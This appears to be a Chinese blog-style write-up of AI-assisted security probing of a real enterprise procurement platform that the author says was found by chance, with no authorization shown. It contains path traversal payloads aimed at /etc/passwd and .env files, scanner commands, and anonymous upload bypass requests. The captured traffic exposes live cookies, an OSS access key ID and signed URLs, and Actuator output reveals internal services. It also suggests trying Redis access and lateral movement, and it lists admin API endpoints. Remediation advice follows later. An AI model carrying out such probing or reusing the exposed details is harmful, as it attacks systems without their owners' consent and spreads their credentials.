AI輔助安全測試案例某電商-供應鏈平臺平臺安全漏洞
背景
無意發現國內某政企採購集團系統入口前端,我們今天初步評估Web安全如何。
我們使用AI工具大模型輔助指導滲透測試
完整的反饋建議
路徑探索(Path Traversal)是一種常見的Web應用安全測試技術,主要用於查詢應用程式中未公開或未保護的資源。在已知某個基礎路徑的情況下,可以透過構造特定的請求來探索應用程式的其他路徑。以下是具體的步驟和方法:
1. 構造基本請求
首先,構造一個基本的GET請求,用於探索路徑:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/
2. 探索常見路徑
接下來,嘗試訪問一些常見的路徑,以瞭解應用程式的結構:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/v1/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/admin/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/private/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/public/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/docs/
3. 使用萬用字元
嘗試使用萬用字元來探索可能存在的路徑:
Http深色版本GET https:
//sp.com.xxxx.com.cn/xxxx-spm-contract-center/api/*
4. 嘗試目錄遍歷
構造路徑遍歷請求,嘗試訪問應用程式的其他目錄:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/../../../../etc/passwd
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/../../../../var/log/apache2/access.log
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/../../../../var/log/nginx/access.log
5. 使用相對路徑
嘗試使用相對路徑來探索其他資源:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/../../admin/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/../../private/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/../../conf/application.properties
6. 測試隱藏檔案
嘗試訪問隱藏檔案:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/.htaccess
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/.env
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/.gitignore
7. 測試檔案上傳目錄
如果應用程式有檔案上傳功能,嘗試訪問上傳目錄:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/uploads/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/images/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/data/
8. 測試其他敏感路徑
嘗試訪問其他可能存在的敏感路徑:
Http深色版本GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/logs/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/dbconfig/
GET https:
//zzwwxxx.com/xxxx-spm-contract-center/api/system/
9. 使用自動化工具
可以使用自動化工具如Burp Suite、Nikto或DirBuster來輔助進行路徑探索:
Shell深色版本nikto -h zzwwxxx.com -p
443
-C
all
dirb https://zzwwxxx.com/xxxx-spm-contract-center/api/
10. 記錄結果
記錄每次請求的響應狀態碼(如200、404等),並分析響應內容,檢視是否有意外暴露的資訊或新的路徑。
注意事項
- 合法授權:確保所有測試都在合法授權範圍內進行。
- 最小影響:儘量減少對生產環境的影響,避免業務中斷。
- 記錄與報告:記錄每一步測試的結果和發現的問題,編寫滲透測試報告,彙總發現的所有漏洞,並提出改進建議。
透過上述測試,可以發現應用程式中存在的潛在安全漏洞,幫助提升系統的安全性。
與AI互動,輔助提供一些滲透的關注點與思路
進一步跟進
安全漏洞檢測過程
一. 匿名上傳圖片安全漏洞
POST /zzwwxx-spm-contract-center/api/v1/aliyunOss/files/oosFileUpload
sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGJ2xAS9diAdgIvAF
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: tfstk=f2fxdBMXXuq0Iz3-eAwksMxCdEauE1Qqei7IshxmCgIRmN5DCoRc65Q2qsxcoNtOB31OisADoOL6V_tcmtbiuTShRjf03Cc9gCR_xkV3tq72_C1qyJZIuQTH5FNMljTWrqOlgkV3tZwXuCb7xPyPogtp5CTX1ft7ye891FT1f39WRemX1GO_yLT6RxijGxT7NExWfCO1faT8hlKSlhcOCRvlwpEdmfG1G5Jvvx-WzU1JkKKBn3h15_LvHH_fghLOuU1lwpvoSzO58TjXyBFohB_RCMBCbJDyMN6fJQC7AvxGSn9dGLF-MH1VP6RWEWadP_Scu_Qi55Tlx3_VGCFQ8IdXcQLPsulXXT61iKRZckvV5TIJkBsPj6fKT1nHvFDbyzHZQKTyiwFvtBgJfWTJxrFtQAJzzUK3yzHZQKTyyH4YJAkwUz5..; acw_tc=0bdd26d217260257890752116ee7d5e70ec8b8d275b50b76b567ce83702f1c
------WebKitFormBoundaryGJ2xAS9diAdgIvAF
Content-Disposition: form-data; name="file"; filename="ningmeng0.png"
Date: Wed, 11 Sep 2024 03:37:15 GMT
Content-Type: application/json;charset=UTF-8
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://xxxxwww.cn
Access-Control-Expose-Headers: Header1, Header2
Access-Control-Allow-Credentials: true
{"payload":[{"id":null,"contractId":null,"name":"ningmeng0.png","contentType":"image/png","size":71206,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/6d2de3c2-0746-4ee0-9059-ea9d70668829.png","remark":null,"createdTime":"2024-09-11 11:37:15","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/6d2de3c2-0746-4ee0-9059-ea9d70668829.png?Expires=4879625835&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=kk4WjhRIpYE1RZmZzq5Eyg8ZXrc%3D"}],"code":"0","msg":"ok","traceId":"6fb91d3cdbf14b669e4fae129b367431.95.17260258356632161"}
https://xxxxwww.cn.aliyuncs.com/prd/spm/6d2de3c2-0746-4ee0-9059-ea9d70668829.png
<Message>The bucket you access does not belong to you.</Message>
<RequestId>66ED28FE874A1E36350870B5</RequestId>
1. 基於阿里雲OSS儲存上傳檔案與圖片
圖床可能的安全漏洞
圖床在處理圖片上傳時,如果未對圖片中的EXIF(Exchangeable Image File Format)資訊或其他後設資料進行處理,可能會洩露拍攝裝置、位置等敏感資訊。此外,如果圖床系統存在配置不當或漏洞,攻擊者可能透過上傳包含惡意程式碼的圖片來利用這些漏洞,進而獲取更多敏感資訊或執行未授權操作。
如果圖床系統未對上傳的圖片內容或連結進行充分過濾和驗證,攻擊者可能透過上傳包含惡意指令碼的圖片或連結,在使用者瀏覽圖片時觸發XSS攻擊,從而竊取使用者資訊、會話令牌等敏感資料。
圖床的核心功能之一是處理圖片上傳,如果上傳功能存在漏洞,如未對檔案型別、大小、內容等進行嚴格限制和驗證,攻擊者可能上傳惡意檔案(如Webshell、病毒等),進而控制伺服器或執行其他惡意操作。
對標OWASP Top 10 2023,我們可以從以下幾個方面來分析可能存在的漏洞:
1. 敏感資訊洩露(A3: Sensitive Data Exposure)
問題描述:圖床在處理圖片上傳時,如果未對圖片中的EXIF資訊或其他後設資料進行處理,可能會洩露拍攝裝置、位置等敏感資訊。此外,如果圖床系統存在配置不當或漏洞,攻擊者可能透過上傳包含惡意程式碼的圖片來利用這些漏洞,進而獲取更多敏感資訊。
對應OWASP Top 10 2023:這一漏洞直接對應於OWASP Top 10 2023中的A3(敏感資料洩露)。敏感資料洩露是Web應用程式中常見的安全風險之一,它可能導致個人隱私洩露、商業機密被竊取等嚴重後果。
2. 跨站指令碼攻擊(XSS)(A7: Cross-Site Scripting (XSS))
問題描述:如果圖床系統未對上傳的圖片內容或連結進行充分過濾和驗證,攻擊者可能透過上傳包含惡意指令碼的圖片或連結,在使用者瀏覽圖片時觸發XSS攻擊。XSS攻擊允許攻擊者在使用者瀏覽器中執行惡意指令碼,從而竊取使用者資訊、會話令牌等敏感資料。
對應OWASP Top 10 2023:這一漏洞直接對應於OWASP Top 10 2023中的A7(跨站指令碼)。XSS是一種常見的Web安全漏洞,它利用Web應用程式對使用者輸入資料的不當處理,使得攻擊者能夠在使用者瀏覽器中執行惡意指令碼。
3. 檔案上傳漏洞(可能涉及A8: Insecure Deserialization 或 A9: Using Components with Known Vulnerabilities)
問題描述:圖床的核心功能之一是處理圖片上傳,如果上傳功能存在漏洞,如未對檔案型別、大小、內容等進行嚴格限制和驗證,攻擊者可能上傳惡意檔案(如Webshell、病毒等),進而控制伺服器或執行其他惡意操作。雖然檔案上傳漏洞本身沒有直接對應的OWASP Top 10 2023項,但它可以視為一種特殊的輸入驗證問題,也可能由於使用了含有已知漏洞的元件(如檔案處理庫)而導致。
對應OWASP Top 10 2023:檔案上傳漏洞可能間接對應於A8(不安全的反序列化)或A9(使用含有已知漏洞的元件)。然而,更直接地,它可能被視為一種未受保護的輸入驗證問題,其嚴重性足以引起高度重視。在OWASP Top 10 2023中,雖然沒有直接列出檔案上傳漏洞作為單獨的項,但強調了輸入驗證和使用安全元件的重要性,這些都是防止檔案上傳漏洞的關鍵措施。
4. 訪問控制不當(可能涉及A5: Broken Access Control)
問題描述:如果圖床系統的訪問控制機制存在漏洞,如許可權設定不當、認證機制不完善等,攻擊者可能繞過正常的訪問控制流程,訪問或修改未授權的資源。
對應OWASP Top 10 2023:這一漏洞可能間接對應於OWASP Top 10 2023中的A5(失效的訪問控制)。失效的訪問控制是Web應用程式中常見的安全風險之一,它可能導致未授權使用者訪問敏感資料或執行敏感操作。在圖床系統中,如果訪問控制不當,攻擊者可能利用這一漏洞獲取敏感資訊或執行惡意操作。
二. 掃描伺服器基礎資訊與服務端資訊洩露
https://xxxxwww.cn/zzwwxx-spm-contract-center/api
POST https://xxxxwww.cn/zzwwxx-spm-contract-center/api/v1/aliyunOss/files/oosFileUpload HTTP/1.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Date: Fri, 20 Sep 2024 07:27:35 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: acw_tc=0b3c7d9e17268172556646552e5e60097bf76eab64bbf15f31c8235bc25184;path=/;HttpOnly;Max-Age=1800
{"payload":null,"code":"500","msg":"Current request is not of type [org.springframework.web.multipart.MultipartHttpServletRequest]: ServletWebRequest: uri=/zzwwxx-spm-contract-center/api/v1/aliyunOss/files/oosFileUpload;client=172.17.3.108","traceId":"673122c0467f45df90a059355f0662e0.90.17268172556794041"}
分析 後端基於SpringBoot技術研發
l 測試不同的上傳資料:嘗試傳送一個包含檔案的正確格式的multipart/form-data請求。可以使用工具如curl或者Postman來構造請求,並觀察伺服器的響應。
l 副檔名檢查繞過:嘗試上傳不同型別的檔案,尤其是那些可能繞過伺服器端副檔名檢查的檔案(例如,將惡意指令碼偽裝成圖片檔案)。
l 上傳目錄遍歷攻擊:構造請求,嘗試利用路徑遍歷漏洞來上傳到非預期的位置。
l 許可權檢查繞過:如果應用有許可權檢查機制,嘗試尋找繞過這些檢查的方法。
l 檔案大小限制:嘗試上傳過大或過小的檔案,以檢查伺服器是否對檔案大小有限制,並觀察其反應。
l 輸入驗證與SQL隱碼攻擊:儘管這是一個檔案上傳介面,但仍需檢查是否有SQL隱碼攻擊或其他輸入驗證繞過的可能性。
三. 存在檔案內容上傳安全漏洞
MIME型別檢查繞過:更改上傳檔案的MIME型別,能繞過伺服器的安全檢查
Date: Fri, 20 Sep 2024 07:36:03 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: acw_tc=0b3c7d9e17268177636665625e5f024f4f1db46c691e6462fb6c832c61376c;path=/;HttpOnly;Max-Age=1800
{"payload":[{"id":null,"contractId":null,"name":"aaa.jpg","contentType":"image/jpeg","size":68096,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/cd00296c-ac86-4282-b303-623f040de6f5.jpg","remark":null,"createdTime":"2024-09-20 15:36:03","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/cd00296c-ac86-4282-b303-623f040de6f5.jpg?Expires=4880417763&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=mL2xPiAJmvlm0C6mcByEiqpm4PM%3D"}],"code":"0","msg":"ok","traceId":"b5e3cdbdff2041958c017b1b0be78aa7.94.17268177638354237"}
四. 檔案上傳介面沒有檔案體積引數校驗
Date: Fri, 20 Sep 2024 07:42:34 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: acw_tc=0b3c7d9e17268181389512049e5ec13f65cd42244929376e85551cc52a593e;path=/;HttpOnly;Max-Age=1800
{"payload":[{"id":null,"contractId":null,"name":"wind.jpg","contentType":"image/jpeg","size":57357160,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/c2fac335-c453-49de-931f-e3c4baf26555.jpg","remark":null,"createdTime":"2024-09-20 15:42:34","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/c2fac335-c453-49de-931f-e3c4baf26555.jpg?Expires=4880418154&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=de0L1Fxuk%2BiSeYjxcpjwaJspc%2Bo%3D"}],"code":"0","msg":"ok","traceId":"b5e3cdbdff2041958c017b1b0be78aa7.93.17268181532084315"}
Date: Fri, 20 Sep 2024 07:47:30 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: acw_tc=0b3c7d9e17268184502772587e5dccadfe5242e52f79d101ba7457b23b9397;path=/;HttpOnly;Max-Age=1800
{"payload":[{"id":null,"contractId":null,"name":"2024-2030年中國鮮花電商行業市場深度分析及發展趨勢預測報告.pdf","contentType":"application/pdf","size":20973,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/a8d8a09e-76e2-4b74-a0f5-52ed1e7bfe9f.pdf","remark":null,"createdTime":"2024-09-20 15:47:30","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/a8d8a09e-76e2-4b74-a0f5-52ed1e7bfe9f.pdf?Expires=4880418450&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=8TR0I%2BoscvZ%2FptWyV1mfIjKyszs%3D"}],"code":"0","msg":"ok","traceId":"b5e3cdbdff2041958c017b1b0be78aa7.96.17268184504034339"}
Date: Fri, 20 Sep 2024 08:01:01 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: acw_tc=0b3c7d9e17268192613863005e5dd19f5750d6d602d7e66aed9ce9d4fd9992;path=/;HttpOnly;Max-Age=1800
Cache-Control: no-cache, no-store
<!doctypehtml><html lang="zh-cn"><meta charset="utf-8"><meta http-equiv="X-UA-Compatible"content="IE=edge,chrome=1"><meta name="data-spm"content="a3c0e"><title>405</title><style>a,body,div,h2,html,p{margin:0;padding:0}a{text-decoration:none;color:#3b6ea3}.container{width:1000px;margin:auto;color:#696969}.header{padding:110px 0}.header .message{height:36px;padding-left:120px;background:url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;line-height:36px}.main{padding:50px 0;background:#f4f5f7}#block_image{position:relative;left:120px}.footer{margin-top:30px;text-align:right}.footer a{padding:8px 30px;border-radius:10px;border:1px solid #4babec}.footer a:hover{opacity:.8}.alert-shadow{display:none;position:absolute;top:0;left:0;width:100%;height:100%;background:#999;opacity:.5}.alert{display:none;position:absolute;top:200px;left:50%;width:600px;margin-left:-300px;padding-bottom:25px;border:1px solid #ddd;box-shadow:0 2px 2px 1px rgba(0,0,0,.1);background:#fff;font-size:14px;color:#696969}.alert h2{margin:0 2px;padding:10px 15px 5px 15px;font-size:14px;font-weight:400;border-bottom:1px solid #ddd}.alert a{display:block;position:absolute;right:10px;top:8px;width:30px;height:20px;text-align:center}.alert p{padding:20px 15px}</style><body data-spm="7663354"><div data-spm="1998410538"><div class="header"><div class="container"><div class="message"><div id="block_message"></div><div><span id="block_url_tips"></span><strong id="url"></strong></div><div><span id="block_time_tips"></span><strong id="time"></strong></div><div><span id="block_traceid_tips"></span><strong id="traceid"></strong></div></div></div></div><div class="main"><div class="container"><img id="block_image"></div></div><div class="footer"><div class="container"><a target="_blank"id="report"href="javascript:;"data-spm-click="gostr=/waf.123.123;locaid=d001;"style="display:none">誤報反饋</a></div></div></div><script>function getRenderData(){var e=document.getElementById("renderData");return JSON.parse(e.innerHTML)}function convertTimestampToString(e){e=parseInt(e,10),e=new Date(e);return e.getFullYear()+"-"+("0"+(e.getMonth()+1)).slice(-2)+"-"+("0"+e.getDate()).slice(-2)+" "+("0"+e.getHours()).slice(-2)+":"+("0"+e.getMinutes()).slice(-2)+":"+("0"+e.getSeconds()).slice(-2)}var en_tips={block_message:"Sorry, your request has been blocked as it may cause potential threats to the server's security.",block_url_tips:"Current URL: ",block_time_tips:"Request Time: ",block_traceid_tips:"Your Request ID is: "},cn_tips={block_message:"很抱歉,由於您訪問的URL有可能對網站造成安全威脅,您的訪問被阻斷。",block_url_tips:"當前網址: ",block_time_tips:"請求時間: ",block_traceid_tips:"您的請求ID是: "};window.onload=function(){var e=getRenderData();if(e){var t,n=cn_tips,i=document.getElementById("block_image");for(t in"en"===e.lang?(n=en_tips,i.src="https://g.alicdn.com/sd-base/static/1.0.5/image/405.png",i.id="en_block"):(i.src="https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",document.getElementById("report").style.display="inline"),n)document.getElementById(t).innerText=n[t];i=e.traceid,e=i.slice(8,21);document.getElementById("traceid").innerText=i,document.getElementById("url").innerText=location.href.split("?")[0],document.getElementById("time").innerText=convertTimestampToString(e)}}</script><textarea id="renderData" style="display:none">{"traceid":"0b3c7d9e17268192613863005e5dd1","lang":"cn"}</textarea>
五. 發現Spring Boot Actuator暴露端點
1. 健康檢查端點:訪問/actuator/health檢查是否暴露了過多的資訊。
https://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health
{"status":"UP","details":{"diskSpace":{"status":"UP","details":{"total":63274295296,"free":22922428416,"threshold":10485760}},"db":{"status":"UP","details":{"database":"MySQL","hello":1}},"mail":{"status":"UP","details":{"location":"smtp.exmail.qq.com:25"}},"refreshScope":{"status":"UP"},"discoveryComposite":{"status":"UP","details":{"discoveryClient":{"status":"UP","details":{"services":["zzwwxx-spm-staff-center","zzwwxx-spm-contract-center","zzwwxx-spm-servicer-center"]}},"eureka":{"description":"Remote status from Eureka server","status":"UP","details":{"applications":{"ZZWWXX-SPM-STAFF-CENTER":2,"ZZWWXX-SPM-CONTRACT-CENTER":2,"ZZWWXX-SPM-SERVICER-CENTER":2}}}}},"hystrix":{"status":"UP"},"redis":{"status":"UP","details":{"version":"5.0.5"}}}}
https://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/
{"_links":{"self":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator","templated":false},"health":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health","templated":false},"health-component":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health/{component}","templated":true},"health-component-instance":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health/{component}/{instance}","templated":true}}}
l 潛在風險:確認資料庫連線字串是否暴露,測試是否存在SQL隱碼攻擊漏洞。
l 潛在風險:確認Redis是否需要認證,測試是否存在未授權訪問風險。
l 進一步測試:嘗試連線Redis例項,檢視是否可以讀寫資料。
l 註冊的服務:zzwwxx-spm-staff-center, zzwwxx-spm-contract-center, zzwwxx-spm-servicer-center
l 潛在風險:確認服務發現機制是否安全,測試是否存在橫向移動的可能性。
l 進一步測試:嘗試訪問其他服務的端點,檢視是否存在未授權訪問風險。
l 郵件伺服器地址:smtp.exmail.qq.com:25
l 潛在風險:確認郵件伺服器是否需要認證,測試是否存在未授權傳送郵件的風險。
六. WEB安全基線掃描
Web安全基線掃描是指對Web應用程式及其相關基礎設施進行全面的安全檢查,以確保它們符合一定的安全標準或最佳實踐。這種掃描旨在識別和修復潛在的安全漏洞,從而降低被攻擊的風險。以下是具體的步驟和方法來描述Web安全基線掃描的過程:
1. 確定掃描範圍
- 定義目標:確定要掃描的Web應用程式及其相關元件(如資料庫、檔案系統等)。
- 收集資訊:包括應用程式的URL、IP地址、埠號以及任何相關的登入憑證。
2. 使用自動化工具
- 選擇合適的工具:常用的Web安全掃描工具有AppScan,OWASP ZAP、Burp Suite、Nikto、Acunetix等。
- 配置工具:設定掃描引數,如掃描深度、速度、是否進行登入等。
- 執行掃描:啟動掃描工具,開始自動掃描。
3. 手動測試
- 登入測試:測試登入頁面是否存在漏洞,如弱密碼、驗證碼繞過等。
- 輸入驗證:測試輸入框是否存在SQL隱碼攻擊、XSS、CSRF等漏洞。
- 檔案上傳:測試檔案上傳功能是否存在漏洞,如上傳惡意檔案、檔名繞過等。
- 會話管理:測試會話管理機制是否安全,如Session固定、會話超時等。
- 敏感資訊洩露:檢查是否存在洩露敏感資訊的情況,如資料庫配置、API金鑰等。
- 許可權測試:測試許可權管理機制是否嚴格,是否存在越權訪問漏洞。
4. 檢查配置和環境
- 安全配置:檢查應用程式的安全配置,如SSL/TLS證書配置、HTTP響應頭(如CSP、HSTS等)。
- 環境配置:檢查伺服器環境配置,如作業系統補丁更新、防火牆規則等。
- 日誌管理:檢查日誌記錄是否完整,能否用於追蹤安全事件。
5. 分析掃描結果
- 整理報告:整理掃描工具輸出的報告,提取關鍵資訊。
- 人工複核:對自動掃描結果進行人工複核,排除誤報。
- 優先順序排序:根據漏洞的危害程度對漏洞進行優先順序排序。
6. 修復漏洞
- 制定修復計劃:根據漏洞的嚴重性和優先順序制定修復計劃。
- 實施修復:按照計劃修復漏洞,確保每個漏洞都得到妥善處理。
- 驗證修復:修復完成後,再次進行掃描驗證漏洞是否已經被有效修復。
7. 文件記錄
- 編寫報告:編寫詳細的滲透測試報告,記錄測試過程、發現的問題及修復方案。
- 持續監控:建立持續監控機制,定期進行安全基線掃描,確保系統的安全性。
8. 教育培訓
- 安全意識培訓:定期對開發人員和運維人員進行安全意識培訓,增強他們的安全意識。
- 最佳實踐分享:分享安全最佳實踐,鼓勵團隊成員學習和應用安全知識。
注意事項
動態應用程式安全測試 (DAST) 是在執行時分析 Web 應用程式以識別安全漏洞或缺陷的過程。
我們初步使用HLC AppScan掃描發現的漏洞
安全問題的具體分析和處理建議
根據《網路安全等級保護標準》第三級的要求,我們需要對不同型別的漏洞進行詳細的評估和處理。以下是針對所提到的安全問題的具體分析和處理建議:
1. 匿名上傳圖片安全漏洞
評估匿名上傳:允許任何人上傳圖片,增加了惡意內容上傳的風險。未驗證上傳內容:上傳的圖片可能包含惡意程式碼、木馬、病毒等。缺乏訪問控制:上傳的圖片可能被未授權使用者訪問或傳播。
處理建議身份驗證:要求使用者在上傳圖片前進行身份驗證。實施OAuth、JWT等認證機制。
上傳內容驗證:
使用影像處理庫檢查上傳的圖片是否含有惡意內容。進行副檔名和MIME型別檢查,確保上傳的是合法的圖片檔案。
訪問控制:
對上傳的圖片設定訪問控制許可權,僅允許授權使用者訪問。使用CDN服務對圖片進行訪問控制。
日誌記錄與監控:
記錄所有上傳圖片的操作日誌,並定期審查。設定監控機制,檢測異常上傳行為。
2. 掃描伺服器基礎資訊與服務端資訊洩露
評估基礎資訊洩露:如作業系統版本、中介軟體版本等資訊可能被攻擊者利用進行進一步攻擊。
服務端資訊洩露:如資料庫版本、應用框架版本等資訊也可能被攻擊者利用。
處理建議隱藏敏感資訊:
修改HTTP響應頭,移除Server欄位。使用自定義的錯誤頁面,避免暴露應用框架或中介軟體的具體版本號。
強化配置:
關閉不必要的服務和埠。配置防火牆規則,限制對敏感埠和服務的訪問。
定期掃描與加固:
使用自動化工具(如Nessus、OpenVAS等)定期掃描伺服器。根據掃描結果加固伺服器配置。
日誌記錄與監控:
記錄伺服器訪問日誌,並定期審查。設定入侵檢測系統(IDS)或入侵預防系統(IPS)監控異常行為。
3. 存在檔案內容上傳漏洞
評估上傳檔案內容:上傳的檔案可能包含惡意程式碼或指令碼。未驗證上傳檔案:上傳的檔案未經驗證即被儲存和使用。
處理建議上傳檔案驗證:
檢查上傳檔案的副檔名是否合法。使用檔案簽名或MD5/SHA1校驗上傳檔案的完整性。確認上傳檔案的內容是否包含惡意程式碼。
限制上傳目錄:
將上傳檔案儲存在一個專門的目錄中,並限制對該目錄的訪問許可權。禁止上傳檔案直接執行。
檔案訪問控制:
對上傳檔案設定訪問控制,僅允許授權使用者訪問。使用CDN服務對檔案進行訪問控制。
日誌記錄與監控:
記錄所有上傳檔案的操作日誌,並定期審查。設定監控機制,檢測異常上傳行為。
4. 檔案上傳介面沒有檔案體積引數校驗
評估檔案體積過大:可能導致伺服器磁碟空間耗盡或消耗過多資源。拒絕服務攻擊(DoS):攻擊者可能透過上傳大檔案發起DoS攻擊。
處理建議設定檔案大小限制:
在客戶端限制上傳檔案的最大大小。
在伺服器端進行檔案大小檢查,超出限制則拒絕上傳。日誌記錄與監控:
記錄所有上傳檔案的操作日誌,並定期審查。設定監控機制,檢測異常上傳行為。
5. 發現Spring Boot Actuator暴露端點
評估暴露端點:如/actuator/health, /actuator/env, /actuator/mappings等暴露了敏感的應用程式資訊。
潛在風險:攻擊者可能利用這些端點獲取應用程式的詳細資訊,進而發動攻擊。
處理建議關閉不必要的端點:
修改application.properties或application.yml檔案,關閉不必要的端點。
`properties
management.endpoints.web.exposure.include=health
management.endpoints.web.exposure.exclude=env,mappings,metrics
`
身份驗證與授權:
對所有暴露的端點實施身份驗證。
使用Spring Security或其他安全框架保護端點。
強化配置:
確保所有暴露端點只允許內部網路訪問。
使用HTTPS加密通訊。
日誌記錄與監控:
記錄所有訪問暴露端點的操作日誌,並定期審查。
設定監控機制,檢測異常訪問行為。
透過上述評估和處理建議,可以有效地解決上述提到的安全問題,確保系統的安全性。需要注意的是,在實際操作中,應結合具體情況調整和最佳化上述建議,確保系統的整體安全性達到等級保護三級的要求。此外,還需要定期進行安全審計和評估,確保系統的安全防護措施始終處於最新和最有效的狀態。
登入介面
POST https://xxxxwww.cn/zzwwxx-spm-staff-center/api/v1/login/loginByCode?_=1726879777605 HTTP/1.1
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: acw_tc=0bca392617268794835698364e2d348f7087de6d5666f0c7a397b6ad6e4b9f
{"userCode":"adfas2","password":"MjM0MjQzMg=="}
Date: Sat, 21 Sep 2024 00:49:37 GMT
Content-Type: application/json;charset=UTF-8
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://xxxxwww.cn
Access-Control-Allow-Credentials: true
{"payload":null,"code":"100002","msg":"使用者名稱或密碼不正確,請檢查","traceId":"43f1a5334faa44d9a0255feae1462e63.67.17268797778538071"}
AI輔助分析請求響應報文與安全建議
資訊洩露
埠暴露https://xxxxwww.cn/zzwwxx-spm-staff-center/actuator/health
https://xxxxwww.cn/guoke-deepexi-m-door-pc/9864717.js
var r = "/guoke-deepexi-staff-center/api/v1"
, o = r + "/staff/login/sendRegistVerificationCode"
, c = r + "/staff/login/loginByCode"
, l = r + "/staff/login/loginByPhone"
, f = r + "/common/login/getCurrentApps"
, d = r + "/staff/UcMerchantUser/updateUserPassword"
, m = r + "/common/login/chooseApps"
, h = r + "/staff/app/pageList"
, v = r + "/staff/app/deleteById"
, x = r + "/staff/appResource/getAppResourceTree"
, w = r + "/staff/appResource/save"
, O = r + "/staff/appResource/update"
, j = r + "/staff/UcAppGroup/getAll"
, _ = r + "/staff/appResource/deleteById"
, C = r + "/staff/appResource/sort"
, k = r + "/staff/UcMerchantUser/getById"
, $ = r + "/staff/UcMerchantUser/update"
, S = r + "/staff/login/sendVerificationCode"
, R = r + "/staff/appResource/addRelationCompany"
, A = r + "/staff/appResource/deleteAllRelationCompanyByAppResourceIdList"
, E = r + "/staff/appResource/getCompanyByCompanyName"
, T = r + "/staff/appResource/deleteRelationCompanyByAppResourceIdListAndCompanyId"
, I = r + "/staff/app/getAppResourceByAppId"
, L = r + "/staff/appResource/getCompanyByAppResourceId"
, U = r + "/staff/UcAppGroup/getAll"
, M = r + "/merchant/role/getMerchantRolePageList"
, D = r + "/merchant/role/getRoleResourceTreeByRoleId"
, N = r + "/merchant/role/deleteById"
, B = r + "/merchant/role/save"
, z = r + "/merchant/role/update"
, H = r + "/merchant/role/saveRoleResourceTree"
, F = r + "/staff/UcMerchantApp/getAppByCompanyId"
, V = r + "/staff/UcMerchantUser/pageList"
, G = r + "/staff/UcMerchantUser/save"
, K = r + "/staff/UcMerchantUser/updateStatusById"
, W = r + "/staff/UcMerchantUser/deleteById"
, J = r + "/staff/UcMerchantUser/getUserPower"
, X = r + "/staff/UcMerchantUser/updateUserAuditStatus"
, Y = r + "/staff/UcMerchantUser/addUserPower"
, Q = r + "/staff/UcMerchantPostInst/update"
, Z = r + "/staff/UcMerchantPostInst/deletePositionInstByUserId"
, ee = r + "/staff/UcOrganization/getAllUcOrganization"
, te = r + "/staff/UcOrganization/deleteById"
